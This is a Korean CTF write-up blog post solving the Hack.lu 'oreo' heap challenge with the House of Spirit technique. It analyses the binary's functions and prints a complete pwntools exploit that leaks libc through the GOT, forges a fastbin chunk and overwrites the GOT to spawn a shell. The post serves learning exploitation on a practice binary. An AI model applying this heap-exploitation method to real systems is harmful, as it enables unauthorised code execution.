House of spirit에 관련된 문제인 Hack.lu CTF oreo문제를 풀어보겠다.
got릭을 했는데 익스플로잇을 할 곳을 모르겠어서 몇일이 걸렸다.....
도움을 받아서 풀게 되서 풀이를 써보겠다.
main을 열어보면 샷건 하나가 있다.
그아래에 있는 함수를 열어보면 menu를 출력을 해주는 함수가 있다.
열어보면 여러가지 메뉴가 나온다.
함수명은 그냥 간편하게 정의했다.
menu들을 하나씩 살펴보겠다.
Add()
add메뉴를 보면 malloc(0x38)으로 fastbin 사이즈로 malloc을 해준다.
그리고 그값을 chunk에 저장을 하고 chunk+52에 저장된 chunk의 주소(이전청크)를 넣어준다.
(※Dword는 4바이트 4*13=52 = chunk+52)
그리고 name을 chunk+25에 description을 chunk에 넣어준다.
name부분에서 56개를 입력을 받는데 그것을 이용해서 chunk+52의 값을 조작을 해줄 수 있다.
Show()
간단하게 Name부분과 Description부분을 출력을 해준다.
출력은 i+52을 기준으로 출력을 해준다.
이곳을 통해서 릭을 해줄 수 있다.
Order()
order메뉴는 while()을 chunk의 개수만큼 해주고,
free를 하나씩 다 해준다.
단순하게 free를 해주는 menu라고 생각을 하면 된다.
Msg()
단순하게 msg를 메뉴인 것 같다.
나중에 쉘을 따낼 때 도움이 되니까 기억해 두시길...
Stat()
add를 몇번 했는지,
order를 몇번 했는지를 알려주고 msg메뉴에서 어떤 msg를 썼는지를 보여준다.
그럼 분석을 모두 끝냈다.
House of Spirit을 이용을 하려면 어떻게 해야하는지 확인 해보자.
House of Spirit 조건
- 공격자에 의해 Allocated Fake chunk(FastBin) 형태를 생성할 수 있어야 합니다.
- 공격자에 의해 해당 영역(Fake chunk)의 주소를 Free() 함수의 인자 값으로 전달할 수 있어야 합니다.
House of Spirit을 이용한 Exploit
- Stack 영역에 Fake chunk(FastBin) 구조를 저장합니다.
- Free()함수의 인자 값으로 Fake chunk의 주소를 전달합니다.
- Fake chunk(FastBin)의 크기와 같은 크기의 Heap영역을 할당 받습니다.
- 이때 할당 받은 영역은 Fake chunk(FastBin) 영역입니다.
출처:https://www.lazenca.net/display/TEC/The+House+of+Spirit
위와 같은 조건을 마련할 만한 여건이 충분하다.
Fake Chunk는
add_count를 통해서 fake_chunk의 size를 맞춰주고,(add를 0x38만큼 해주자)
malloc을 할 때 NextSize를 통해서 무결성 체크를 하는데 그것을 피해주기 위해서 NextSize에 값을 넣어줘야 한다.
그리고 enter_msg부분을 보면은 enter_msg가 포인터인 것을 알 수 있다.
그걸 통해서 enter_msg부분을 got로 바꿔준 다음에 oneshot을 이용해서 쉘을 따면 될 것 같다.
그리고 원하는 주소의 Free()
Order메뉴의 Free를 보면 우리가 원하는 주소를 Free해줄 수 있다.
Chunk+52를 조작을 할 수 있기 때문에 이조건도 성립을 한다.
그럼 익스플로잇 코드를 확인해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | #!/usr/bin/python from pwn import * p = process("./oreo") e = ELF("./oreo") l = ELF('/lib/i386-linux-gnu/libc.so.6') raw_input(">>> ") p.sendline("5") print p.readuntil("======================\n") def add(name,desc): p.sendline("1");sleep(0.1) p.sendline(name);sleep(0.1) p.sendline(desc);sleep(0.1) def order(): p.sendline("3");sleep(0.1) def msg(txt): p.sendline("4");sleep(0.1) p.sendline(txt);sleep(0.1) def stats(): p.sendline("5");sleep(0.1) return p.readuntil("======================\n") add('A'*27+p32(e.got['puts']),'B') p.sendline("2") p.recvuntil("Description: ") p.recvuntil("Description: ") leak = u32(p.recv(4)) #puts got libc = leak-l.symbols['puts'] oneshot = libc+0x5fbc5 print "[*]Puts Got Leak :",hex(leak) print "[*]Libc Addr :",hex(libc) print "[*]One_Shot Addr :",hex(oneshot) for i in range(0,0x40-0x1): add('name','desc') msg( "A"*24 + p32(0) +p32(0) + p32(0x1234) ) add('B'*27+p32(0x0804a2a8),'abcd') order() add( "CCCC",p32(e.got['puts']) ) msg(p32(oneshot)) p.sendline("5") p.interactive() | cs |
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
HITCON 2014 stkof (0) | 2018.03.19 |
---|---|
BCTF 2016 Bcloud (0) | 2018.03.15 |
2018 Codegate - Super marimo (0) | 2018.02.14 |
HarekazeCTF 2018 - Harekaze Farm (Pwn) (0) | 2018.02.12 |
HITCON 2017 - Start (0) | 2018.02.11 |